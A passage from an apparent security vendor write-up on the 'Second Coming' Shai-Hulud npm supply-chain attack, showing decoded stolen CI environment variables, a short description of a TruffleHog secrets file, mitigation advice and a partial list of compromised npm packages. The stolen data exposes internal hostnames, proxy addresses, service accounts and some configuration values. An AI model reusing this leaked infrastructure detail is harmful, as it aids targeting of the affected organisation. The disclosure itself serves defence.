    "reposolns_context": "{{id = prod, access_tokens = {ci_write = {credentials_id = reposolns_vault_ci_write_creds_prod, token_id = reposolns_vault_ci_write_token_prod, url = https://akeyless.gw.prod.glb.us.walmart.net:8080, path = \"_{reposolns_context.id.replaceFirst('prod', '').replaceFirst('^(qa|stg)$', 'Non-')}Prod/reposolns/#{reposolns_context.id}/ci_write/_{LOOPER_SCM_OWNER_ID.toLowerCase()}\", af_username = reposolns, access_id = 'p-8dydleky17zq', access_type = ldap}}, technologies = [{access_token_id = ci_write, reference_id = docker.ci.artifacts.walmart.com, type = docker}, {access_token_id = ci_write, reference_id = 'docker.ci.artifacts.#{reposolns_context.id}.walmart.com', type = docker}, {access_token_id = ci_write, reference_id = 'af-snapshot', type = maven}, {access_token_id = ci_write, reference_id = 'af-release', type = maven}], environment = {REPOSOLNS_FQDN_CI = ci.artifacts.walmart.com, REPOSOLNS_URL = 'https://#{REPOSOLNS_FQDN_CI}/artifactory'}}}",
    "SONAR_SCANNER_OPTS1": "-Djavax.net.ssl.trustStore=/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.jks -Djavax.net.ssl.trustStorePassword=foobar",
    "HUDSON_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/",
    "npm_package_optional": "",
    "REPOSOLNS_PYPI_BASEURL": "https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi",
    "npm_config_npm_version": "10.7.0",
    "CURLOPT_CAPATH1": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "GITHUB_BRANCH_FULL_REF": "refs/heads/AGAction",
    "GIT_COMMITTER_EMAIL": "SVC-ciad-prod1@walmart.com",
    "npm_package_name": "@postman/tunnel-agent",
    "GITHUB_BRANCH_NAME": "AGAction",
    "NODE_NAME": "<redacted>pro-prod-agent110-17",
    "LOOPER_RUN_ID": "03bd94b0-6650-4c5c-90c0-0c883b7746c6",
    "npm_config_prefix": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0",
    "GITHUB_BRANCH_HEAD_SHA": "16f766887ffda24e6cf41bbb3d900ada4aa1d881",
    "LOOPER_NAME": "Feature-MultiBranch-PWT/AGAction",
    "USER": "<redacted>",
    "npm_config_http_proxy": "http://sysproxy.wal-mart.com:8080",
    "JAVA_TOOL_OPTIONS": "-Dhttp.useProxy=true -Dhttps.useProxy=true -Dhttp.proxyHost=10.167.213.150 -Dhttp.proxyPort=43754 -Dhttps.proxyHost=10.167.213.150 -Dhttps.proxyPort=43754 -Dhttp.nonProxyHosts='localhost|127.0.0.1|cdn.cocoapods.org|*-keystone-endpoint.prod.walmart.com|cdn.jsdelivr.net|slack.com|*.blob.core.windows.net|mockDeliveryUrl|*.saucelabs.com|jira.walmart.com|*.prod.us.walmart.net|*.googleapis.com|euclid.azurecr.io|*xmatters.com|sandbox-cluboperations-claims.azurewebsites.net|accounts.google.com|usgta*.wal-mart.com|metadata.google.*|cloud.google.com|*ossindex.sonatype.org*|*.azure-api.net|sb.scorecardresearch.com|i.imgur.com|kafka-local-landoop|mock-server|vault|postgresql|active-mq|phonehome.hazelcast.com|*.azurewebsites.net|login.microsoftonline.com|dc.services.visualstudio.com|marketplace.walmartapis.com|*.saucelabs.com|blob.core.windows.net|file.appcenter.ms|testburst.walmart.com|tnest.walmart.com|gcr.io'",
    "NO_PROXY": ".us.wal-mart.com,localhost,127.0.0.1,dev.walmart.com,cdn.cocoapods.org,*-keystone-endpoint.prod.walmart.com,cdn.jsdelivr.net,slack.com,*.blob.core.windows.net,mockDeliveryUrl,ondemand.saucelabs.com,jira.walmart.com,*.prod.us.walmart.net,*.googleapis.com,euclid.azurecr.io,*xmatters.com,sandbox-cluboperations-claims.azurewebsites.net,accounts.google.com,usgta*.wal-mart.com,metadata.google.*,cloud.google.com,ossindex.sonatype.org,*.azure-api.net,*dev-transpo-fresh-pullforward-aggregator.azurewebsites.net/actuator/health,*samsclub.riversand.com*,sb.scorecardresearch.com,i.imgur.com,kafka-local-landoop,mock-server,vault,postgresql,active-mq,phonehome.hazelcast.com,*.azurewebsites.net,login.microsoftonline.com,dc.services.visualstudio.com,marketplace.walmartapis.com,*.saucelabs.com,blob.core.windows.net,file.appcenter.ms,testburst.walmart.com,tnest.walmart.com,gcr.io",
    "REPOSOLNS_HELM_SNAPSHOT_REPO": "https://helm.ci.artifacts.walmart.com/artifactory/ret-marketplace-helm-snapshots-local",
    "EmailReport": "false",
    "HUDSON_SERVER_COOKIE": "cad2bf9e97974601",
    "PHANTOMJS_CDNURL": "http://gec-maven-nexus.walmart.com/nexus/repository/PhantomJS",
    "TestAPPType": "UI",
    "REPOSOLNS_DOCKER_REPO": "ret-marketplace-docker",
    "NPM_CONFIG_USERCONFIG": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/userconfig",
    "MART": "us",
    "proxy": "com.walmartlabs.<redacted>.engine.tools.ProxyConfig@56276214",
    "NPM_CONFIG_GLOBALCONFIG": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/globalconfig",
    "NPM_REGISTRY_VARIANCE": "0",
    "npm_lifecycle_event": "preinstall",
    "APP_NAME": "ONDEMAND",
    "GIT_URL": "https://gecgithub01.walmart.com/RET-Marketplace/mp-coee-pwt.git",
    "SHLVL": "1",
    "BUILD_TAG": "jenkins-Feature-MultiBranch-PWT-AGAction-22",
    "SSL_CERT_FILE1": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "HTTPS_PROXY": "http://10.167.213.150:43754",
    "PRIVATE_NPM_REGISTRY": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm/",
    "HTTP_PROXY": "http://10.167.213.150:43754",
    "EXECUTOR_NUMBER": "0",
    "reposolnsPassword": "<redacted>",
    "NPM_REGISTRY_PRIMARY": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm/",
    "TEST_RESULT": "false",
    "TRIGGER_REFSPEC": "+refs/heads/AGAction:refs/remotes/origin/AGAction",
    "REPOSOLNS_MVN_RELEASE_REPO": "https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn-prod-local",
    "http_proxy": "http://10.167.213.150:43754",
    "JENKINS_HOME": "/<redacted>/<redacted>-workspace",
    "npm_config_user_agent": "npm/10.7.0 node/v22.1.0 linux x64 workspaces/false ci/jenkins",
    "npm_execpath": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0/node_modules/npm/bin/npm-cli.js",
    "CLASSPATH": "",
    "npm_config_strict_ssl": "",
    "NODE_PATH": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0/node_modules",
    "REQUESTS_CA_BUNDLE": "/etc/ssl/certs/ca-certificates.crt",
    "GIT_SSL_CAPATH1": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "npm_package_json": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws/node_modules/@postman/tunnel-agent/package.json",
    "CODEGATE_JAR": "/mnt/<redacted>/tools/codegate/codegate-2.1003.11/codegate-2.1003.11-shaded.jar",
    "BASEDIR": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws",
    "GIT_COMMIT": "16f766887ffda24e6cf41bbb3d900ada4aa1d881",
    "NODE_LABELS": "ASSEMBLY-<redacted>pro-prod-agent110 CLOUD-prod-edc02 docker-daemon linux <redacted>pro-prod-agent110 <redacted>pro-prod-agent110-17",
    "Workers": "5",
    "JOURNAL_STREAM": "8:1438904637",
    "agent_name": "<redacted>pro-prod-agent110-17",
    "GIT_AUTHOR_NAME": "SVC-ciad-prod1",
    "REPOSOLNS_PYPI_URL": "https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi",
    "npm_config_noproxy": "",
    "PATH": "/mnt/<redacted>/.bun/bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws/node_modules/@postman/tunnel-agent/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws/node_modules/@postman/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws/node_modules/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/node_modules/.bin:/mnt/<redacted>/workspace/node_modules/.bin:/mnt/<redacted>/node_modules/.bin:/mnt/node_modules/.bin:/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0/node_modules/.bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/jdk-1.8.0_161-b12/bin:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0:/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin",
    "ENV_UPPER": "",
    "npm_config_node_gyp": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js",
    "SQUAD": "GlobalMarketplace",
    "GIT_LOCAL_BRANCH": "AGAction",
    "REPOSOLNS_HELM_REPO": "https://helm.ci.artifacts.walmart.com/artifactory/ret-marketplace-helm",
    "CI": "true",
    "RUN_ARTIFACTS_DISPLAY_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/22/display/redirect?page=artifacts",
    "LOOPER_SHORT_NAME": "AGAction",
    "RUN_ID": "MPCOEE_AGAction-22",
    "taskId": "13",
    "npm_config_global_prefix": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0",
    "ARTIFACTORY_NPM_UPDATED": "true",
    "ak_Username": "SVC-MPCOEE-TEST1",
    "SHIELD_ONBOARDED": "false",
    "BRANCH_NAME": "AGAction",
    "GIT_BRANCH": "AGAction",
    "BUILD_ID": "22",
    "vault": "com.walmartlabs.<redacted>.engine.scopes.TypedSecrets@79a3d32d[credentials={ci_write=com.walmartlabs.<redacted>.engine.scopes.TypedSecrets$UsernamePassword@46a93cbf[username=reposolns,password=*******,type=username_password]},envs={REPOSOLNS_NPM_SNAPSHOT_REPO=https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm, REPOSOLNS_PYPI_REPO=https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi/ret-marketplace-pypi, REPOSOLNS_SBT_SNAPSHOT_REPO=https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt-snapshots-local, REPOSOLNS_HELM_REPO=https://helm.ci.artifacts.walmart.com/artifactory/ret-marketplace-helm, REPOSOLNS_DOCKER_REPO=ret-marketplace-docker, REPOSOLNS_FQDN_CI=ci.artifacts.walmart.com, REPOSOLNS_MVN_RELEASE_REPO=https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn-prod-local, REPOSOLNS_URL=https://ci.artifacts.walmart.com/artifactory, REPOSOLNS_HELM_SNAPSHOT_REPO=https://helm.ci.artifacts.walmart.com/artifactory/ret-marketplace-helm-snapshots-local, REPOSOLNS_DOCKER_RELEASE_REPONAME=ret-marketplace-docker-prod-local, REPOSOLNS_SBT_REPO=https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt, REPOSOLNS_DOCKER_SERVER=docker.ci.artifacts.walmart.com, REPOSOLNS_GENERIC_SNAPSHOT_REPO=https://generic.ci.artifacts.walmart.com/artifactory/ret-marketplace-generic-snapshots-local, REPOSOLNS_NPM_RELEASE_REPO=https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm-prod-local, REPOSOLNS_GENERIC_REPO=https://generic.ci.artifacts.walmart.com/artifactory/ret-marketplace-generic, REPOSOLNS_SBT_RELEASE_REPO=https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt-prod-local, REPOSOLNS_DOCKER_SNAPSHOT_REPONAME=ret-marketplace-docker-snapshots-local, REPOSOLNS_SCALA_REPO=https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt, REPOSOLNS_PYPI_RELEASE_REPO=https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi/ret-marketplace-pypi-prod-local, REPOSOLNS_PYPI_URL=https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi, REPOSOLNS_MVN_SNAPSHOT_REPO=https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn-snapshots-local, REPOSOLNS_MVN_RELEASE=https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn, REPOSOLNS_MVN_SNAPSHOT=https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn-snapshots-local, REPOSOLNS_HELM_RELEASE_REPO=https://helm.ci.artifacts.walmart.com/artifactory/ret-marketplace-helm-prod-local, REPOSOLNS_VIRTUAL_DEFAULT_DEPLOYMENT=-prod-local, REPOSOLNS_GENERIC_RELEASE_REPO=https://generic.ci.artifacts.walmart.com/artifactory/ret-marketplace-generic-prod-local, REPOSOLNS_NPM_REPO=https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm, REPOSOLNS_MVN_REPO=https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn, REPOSOLNS_NPM_BASEURL=https://npm.ci.artifacts.walmart.com/artifactory/api/npm, REPOSOLNS_DOCKER_REPONAME=ret-marketplace-docker, REPOSOLNS_PYPI_BASEURL=https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi, REPOSOLNS_PYPI_SNAPSHOT_REPO=https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi/ret-marketplace-pypi-snapshots-local},techs=[com.walmartlabs.<redacted>.engine.scopes.TypedSecrets$DockerScope@62351a8a[credname=ci_write,email=<null>,server=docker.ci.artifacts.walmart.com], com.walmartlabs.<redacted>.engine.scopes.TypedSecrets$DockerScope@710a2d26[credname=ci_write,email=<null>,server=docker.ci.artifacts.prod.walmart.com], com.walmartlabs.<redacted>.engine.scopes.TypedSecrets$MavenScope@16d7b291[credname=ci_write,id=af-snapshot], com.walmartlabs.<redacted>.engine.scopes.TypedSecrets$MavenScope@19143830[credname=ci_write,id=af-release]]]",
    "npm_config_cafile": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "npm_node_execpath": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/bin/node",
    "npm_config_https_proxy": "http://10.167.213.150:43754",
    "WS_ROOT": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction",
    "REPOSOLNS_GENERIC_RELEASE_REPO": "https://generic.ci.artifacts.walmart.com/artifactory/ret-marketplace-generic-prod-local",
    "REPOSOLNS_URL": "https://ci.artifacts.walmart.com/artifactory",
    "npm_package_engines_node": "*",
    "POSTINSTALL_BG": "1"
  }
}

Figure 12: Decoded content of the environment.js file.

truffleSecrets.json

This file contains all of the data collected by TruffleHog, including credentials and secrets for various platforms. Like the other JSON files, this file is also double base64-encoded.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 13: Decoded content of the truffleSecrets.json file.

Mitigation Recommendations

As highlighted in the previous Shai-Hulud blog, it is always difficult to detect and respond to supply chain compromises. It is not always clear where these packages are used and what other libraries use them. We recommend taking the following actions:

  • Review the list of compromised packages below and audit your development environment for them
  • Rotate all GitHub, npm, cloud, and CI/CD secrets
  • Check GitHub for repositories that have been made public
  • Check GitHub for repositories that have the description Sha1-Hulud: The Second Coming
  • Audit GitHub for any unauthorized workflows
  • Deploy phishing-resistant MFA solutions for CI/CD pipelines and developers
  • Monitor any newly published npm packages within the organization
  • Disable post-install scripts

Compromise Packages

This list of packages below is accurate as of 15:00 EST on November 24, 2025. As this is an evolving situation, this list may not be complete and is expected to change over time.

Package Name

Version

02-echo

0.0.7

@accordproject/concerto-analysis

3.24.1

@accordproject/concerto-linter

3.24.1

@accordproject/concerto-linter-default-ruleset

3.24.1

@accordproject/concerto-metamodel

3.12.5

@accordproject/concerto-types

3.24.1

@accordproject/markdown-it-cicero

0.16.26

@accordproject/template-engine

2.7.2

@actbase/css-to-react-native-transform

1.0.3

@actbase/native

0.1.32

@actbase/node-server

1.1.19

@actbase/react-absolute

0.8.3

@actbase/react-daum-postcode

1.0.5

@actbase/react-kakaosdk

0.9.27

@actbase/react-native-actionsheet

1.0.3

@actbase/react-native-devtools

0.1.3

@actbase/react-native-fast-image

8.5.13

@actbase/react-native-kakao-channel

1.0.2

@actbase/react-native-kakao-navi

2.0.4

@actbase/react-native-less-transformer

1.0.6

@actbase/react-native-naver-login

1.0.1

@actbase/react-native-simple-video

1.0.13

@actbase/react-native-tiktok

1.1.3

@afetcan/api

0.0.13

@afetcan/storage

0.0.27

@alexadark/amadeus-api

1.0.4

@alexadark/gatsby-theme-events

1.0.1

@alexadark/gatsby-theme-wordpress-blog

2.0.1

@alexadark/reusable-functions

1.5.1

@alexcolls/nuxt-socket.io

0.0.7, 0.0.8

@alexcolls/nuxt-ux

0.6.2, 0.6.1

@antstackio/eslint-config-antstack

0.0.3

@antstackio/express-graphql-proxy

0.2.8

@antstackio/graphql-body-parser

0.1.1

@antstackio/json-to-graphql

1.0.3

@antstackio/shelbysam

1.1.7

@aryanhussain/my-angular-lib

0.0.23

@asyncapi/dotnet-rabbitmq-template

1.0.1,1.0.2

@asyncapi/edavisualiser

1.2.2,1.2.1

@asyncapi/go-watermill-template

0.2.76, 0.2.77

@asyncapi/java-template

0.3.6, 0.3.5

@asyncapi/keeper

0.0.2, 0.0.3

@asyncapi/php-template

0.1.1, 0.1.2

@asyncapi/python-paho-template

0.2.14, 0.2.15

@asyncapi/server-api

0.16.24, 0.16.25

@asyncapi/studio

1.0.3, 1.0.2

@asyncapi/web-component

2.6.6, 2.6.7

@bdkinc/knex-ibmi

0.5.7

@browserbasehq/bb9

1.2.21

@browserbasehq/director-ai

1.0.3

@browserbasehq/mcp

2.1.1

@browserbasehq/mcp-server-browserbase

2.4.2

@browserbasehq/sdk-functions

0.0.4

@browserbasehq/stagehand

3.0.4

@browserbasehq/stagehand-docs

1.0.1

@caretive/caret-cli

0.0.2

@chtijs/eslint-config

1.0.1

@clausehq/flows-step-httprequest

0.1.14

@clausehq/flows-step-jsontoxml

0.1.14

@clausehq/flows-step-mqtt

0.1.14

@clausehq/flows-step-sendgridemail

0.1.14

@clausehq/flows-step-taskscreateurl

0.1.14

@cllbk/ghl

1.3.1

@commute/bloom

1.0.3

@commute/market-data

1.0.2

@commute/market-data-chartjs

2.3.1

@dev-blinq/ai-qa-logic

1.0.19

@dev-blinq/cucumber-js

1.0.131

@dev-blinq/cucumber_client

1.0.738

@dev-blinq/ui-systems

1.0.93

@ensdomains/address-encoder

1.1.5

@ensdomains/blacklist

1.0.1

@ensdomains/buffer

0.1.2

@ensdomains/ccip-read-cf-worker

0.0.4

@ensdomains/ccip-read-dns-gateway

0.1.1

@ensdomains/ccip-read-router

0.0.7

@ensdomains/ccip-read-worker-viem

0.0.4

@ensdomains/content-hash

3.0.1

@ensdomains/curvearithmetics

1.0.1

@ensdomains/cypress-metamask

1.2.1

@ensdomains/dnsprovejs

0.5.3

@ensdomains/dnssec-oracle-anchors

0.0.2

@ensdomains/dnssecoraclejs

0.2.9

@ensdomains/durin

0.1.2

@ensdomains/durin-middleware

0.0.2

@ensdomains/ens-archived-contracts

0.0.3

@ensdomains/ens-avatar

1.0.4

@ensdomains/ens-contracts

1.6.1

@ensdomains/ens-test-env

1.0.2

@ensdomains/ens-validation

0.1.1

@ensdomains/ensjs

4.0.3

@ensdomains/ensjs-react

0.0.5

@ensdomains/eth-ens-namehash

2.0.16

@ensdomains/hackathon-registrar

1.0.5

@ensdomains/hardhat-chai-matchers-viem

0.1.15

@ensdomains/hardhat-toolbox-viem-extended

0.0.6

@ensdomains/mock

2.1.52

@ensdomains/name-wrapper

1.0.1

@ensdomains/offchain-resolver-contracts

0.2.2

@ensdomains/op-resolver-contracts

0.0.2

@ensdomains/react-ens-address

0.0.32

@ensdomains/renewal

0.0.13

@ensdomains/renewal-widget

0.1.10

@ensdomains/reverse-records

1.0.1

@ensdomains/server-analytics

0.0.2

@ensdomains/solsha1

0.0.4

@ensdomains/subdomain-registrar

0.2.4

@ensdomains/test-utils

1.3.1

@ensdomains/thorin

0.6.51

@ensdomains/ui

3.4.6

@ensdomains/unicode-confusables

0.1.1

@ensdomains/unruggable-gateways

0.0.3

@ensdomains/vite-plugin-i18next-loader

4.0.4

@ensdomains/web3modal

1.10.2

@everreal/react-charts

2.0.1, 2.0.2

@everreal/validate-esmoduleinterop-imports

1.4.4, 1.4.5

@everreal/web-analytics

0.0.1, 0.0.2

@faq-component/core

0.0.4

@faq-component/react

1.0.1

@fishingbooker/browser-sync-plugin

1.0.5

@fishingbooker/react-loader

1.0.7

@fishingbooker/react-pagination

2.0.6

@fishingbooker/react-raty

2.0.1

@fishingbooker/react-swiper

0.1.5

@hapheus/n8n-nodes-pgp

1.5.1

@hover-design/core

0.0.1

@hover-design/react

0.2.1

@huntersofbook/auth-vue

0.4.2

@huntersofbook/core

0.5.1

@huntersofbook/core-nuxt

0.4.2

@huntersofbook/form-naiveui

0.5.1

@huntersofbook/i18n

0.8.2

@huntersofbook/ui

0.5.1

@hyperlook/telemetry-sdk

1.0.19

@ifelsedeveloper/protocol-contracts-svm-idl

0.1.2, 0.1.3

@ifings/design-system

4.9.2

@ifings/metatron3

0.1.5

@jayeshsadhwani/telemetry-sdk

1.0.14

@kvytech/cli

0.0.7

@kvytech/components

0.0.2

@kvytech/habbit-e2e-test

0.0.2

@kvytech/medusa-plugin-announcement

0.0.8

@kvytech/medusa-plugin-management

0.0.5

@kvytech/medusa-plugin-newsletter

0.0.5

@kvytech/medusa-plugin-product-reviews

0.0.9

@kvytech/medusa-plugin-promotion

0.0.2

@kvytech/web

0.0.2

@lessondesk/api-client

9.12.2, 9.12.3

@lessondesk/babel-preset

1.0.1

@lessondesk/electron-group-api-client

1.0.3

@lessondesk/eslint-config

1.4.2

@lessondesk/material-icons

1.0.3

@lessondesk/react-table-context

2.0.4

@lessondesk/schoolbus

5.2.2, 5.2.3

@livecms/live-edit

0.0.32

@livecms/nuxt-live-edit

1.9.2

@lokeswari-satyanarayanan/rn-zustand-expo-template

1.0.9

@louisle2/core

1.0.1

@louisle2/cortex-js

0.1.6

@lpdjs/firestore-repo-service

1.0.1

@lui-ui/lui-nuxt

0.1.1

@lui-ui/lui-tailwindcss

0.1.2

@lui-ui/lui-vue

1.0.13

@markvivanco/app-version-checker

1.0.1, 1.0.2

@micado-digital/stadtmarketing-kufstein-external

1.9.1

@mizzle-dev/orm

0.0.2

@ntnx/passport-wso2

0.0.3

@ntnx/t

0.0.101

@oku-ui/accordion

0.6.2

@oku-ui/alert-dialog

0.6.2

@oku-ui/arrow

0.6.2

@oku-ui/aspect-ratio

0.6.2

@oku-ui/avatar

0.6.2

@oku-ui/checkbox

0.6.3

@oku-ui/collapsible

0.6.2

@oku-ui/collection

0.6.2

@oku-ui/dialog

0.6.2

@oku-ui/direction

0.6.2

@oku-ui/dismissable-layer

0.6.2

@oku-ui/focus-guards

0.6.2

@oku-ui/focus-scope

0.6.2

@oku-ui/hover-card

0.6.2

@oku-ui/label

0.6.2

@oku-ui/menu

0.6.2

@oku-ui/motion

0.4.4

@oku-ui/motion-nuxt

0.2.2

@oku-ui/popover

0.6.2

@oku-ui/popper

0.6.2

@oku-ui/portal

0.6.2

@oku-ui/presence

0.6.2

@oku-ui/primitive

0.6.2

@oku-ui/primitives

0.7.9

@oku-ui/primitives-nuxt

0.3.1

@oku-ui/progress

0.6.2

@oku-ui/provide

0.6.2

@oku-ui/radio-group

0.6.2

@oku-ui/roving-focus

0.6.2

@oku-ui/scroll-area

0.6.2

@oku-ui/separator

0.6.2

@oku-ui/slider

0.6.2

@oku-ui/slot

0.6.2

@oku-ui/switch

0.6.2

@oku-ui/tabs

0.6.2

@oku-ui/toast

0.6.2

@oku-ui/toggle

0.6.2

@oku-ui/toggle-group

0.6.2

@oku-ui/toolbar

0.6.2

@oku-ui/tooltip

0.6.2

@oku-ui/use-composable

0.6.2

@oku-ui/utils

0.6.2

@oku-ui/visually-hidden

0.6.2

@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode

2.0.5

@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode

1.1.1

@orbitgtbelgium/orbit-components

1.2.9

@orbitgtbelgium/time-slider

1.0.187

@osmanekrem/bmad

1.0.6

@osmanekrem/error-handler

1.2.2

@pergel/cli

0.11.1

@pergel/module-box

0.6.1

@pergel/module-graphql

0.6.1

@pergel/module-ui

0.0.9

@pergel/nuxt

0.25.5

@posthog/agent

1.24.1

@posthog/ai

7.1.2

@posthog/cli

0.5.15

@posthog/clickhouse

1.7.1

@posthog/core

1.5.6

@posthog/hedgehog-mode

0.0.42

@posthog/icons

0.36.1

@posthog/lemon-ui

0.0.1

@posthog/nextjs-config

1.5.1

@posthog/nuxt

1.2.9

@posthog/piscina

3.2.1

@posthog/plugin-contrib

0.0.6

@posthog/react-rrweb-player

1.1.4

@posthog/rrdom

0.0.31

@posthog/rrweb

0.0.31

@posthog/rrweb-player

0.0.31

@posthog/rrweb-record

0.0.31

@posthog/rrweb-replay

0.0.19

@posthog/rrweb-snapshot

0.0.31

@posthog/rrweb-utils

0.0.31

@posthog/siphash

1.1.2

@posthog/wizard

1.18.1

@postman/aether-icons

2.23.4, 2.23.3, 2.23.2

@postman/csv-parse

4.0.3, 4.0.5, 4.0.4

@postman/node-keytar

7.9.5, 7.9.4, 7.9.6

@postman/tunnel-agent

0.6.6, 0.6.5, 0.6.7

@pradhumngautam/common-app

1.0.2

@productdevbook/animejs-vue

0.2.1

@productdevbook/auth

0.2.2

@productdevbook/chatwoot

2.0.1

@productdevbook/motion

1.0.4

@productdevbook/ts-i18n

1.4.2

@pruthvi21/use-debounce

1.0.3

@quick-start-soft/quick-document-translator

1.4.2511142126

@quick-start-soft/quick-git-clean-markdown

1.4.2511142126

@quick-start-soft/quick-markdown

1.4.2511142126

@quick-start-soft/quick-markdown-compose

1.4.2506300029

@quick-start-soft/quick-markdown-image

1.4.2511142126

@quick-start-soft/quick-markdown-print

1.4.2511142126

@quick-start-soft/quick-markdown-translator

1.4.2509202331

@quick-start-soft/quick-remove-image-background

1.4.2511142126

@quick-start-soft/quick-task-refine

1.4.2511142126

@relyt/claude-context-core

0.1.1

@sameepsi/sor

1.0.3

@sameepsi/sor2

2.0.2

@seezo/sdr-mcp-server

0.0.5

@seung-ju/next

0.0.2

@seung-ju/openapi-generator

0.0.4

@seung-ju/react-hooks

0.0.2

@seung-ju/react-native-action-sheet

0.2.1

@silgi/better-auth

0.8.1

@silgi/drizzle

0.8.4

@silgi/ecosystem

0.7.6

@silgi/module-builder

0.8.8

@silgi/openapi

0.7.4

@silgi/permission

0.6.8

@silgi/ratelimit

0.2.1

@silgi/scalar

0.6.2

@silgi/yoga

0.7.1

@sme-ui/aoma-vevasound-metadata-lib

0.1.3

@strapbuild/react-native-date-time-picker

2.0.4

@strapbuild/react-native-perspective-image-cropper

0.4.15

@strapbuild/react-native-perspective-image-cropper-2

0.4.7

@strapbuild/react-native-perspective-image-cropper-poojan31

0.4.6

@suraj_h/medium-common

1.0.5

@thedelta/eslint-config

1.0.2

@tiaanduplessis/json

2.0.3, 2.0.2

@tiaanduplessis/react-progressbar

1.0.1, 1.0.2

@trackstar/angular-trackstar-link

1.0.2

@trackstar/react-trackstar-link

2.0.21

@trackstar/react-trackstar-link-upgrade

1.1.10

@trackstar/test-angular-package

0.0.9

@trackstar/test-package

1.1.5

@trefox/sleekshop-js

0.1.6

@trigo/atrix

7.0.1

@trigo/atrix-elasticsearch

2.0.1

@trigo/atrix-postgres

1.0.3

@trigo/atrix-pubsub

4.0.3

@trigo/atrix-soap

1.0.2

@trigo/atrix-swagger

3.0.1

@trigo/bool-expressions

4.1.3

@trigo/eslint-config-trigo

3.3.1

@trigo/fsm

3.4.2

@trigo/hapi-auth-signedlink

1.3.1

@trigo/pathfinder-ui-css

0.1.1

@trigo/trigo-hapijs

5.0.1

@trpc-rate-limiter/cloudflare

0.1.4

@trpc-rate-limiter/hono

0.1.4

@varsityvibe/api-client

1.3.37, 1.3.36

@varsityvibe/utils

5.0.6

@varsityvibe/validation-schemas

0.6.8, 0.6.7

@viapip/eslint-config

0.2.4

@vishadtyagi/full-year-calendar

0.1.11

@voiceflow/alexa-types

2.15.61, 2.15.60

@voiceflow/anthropic

0.4.5, 0.4.4

@voiceflow/api-sdk

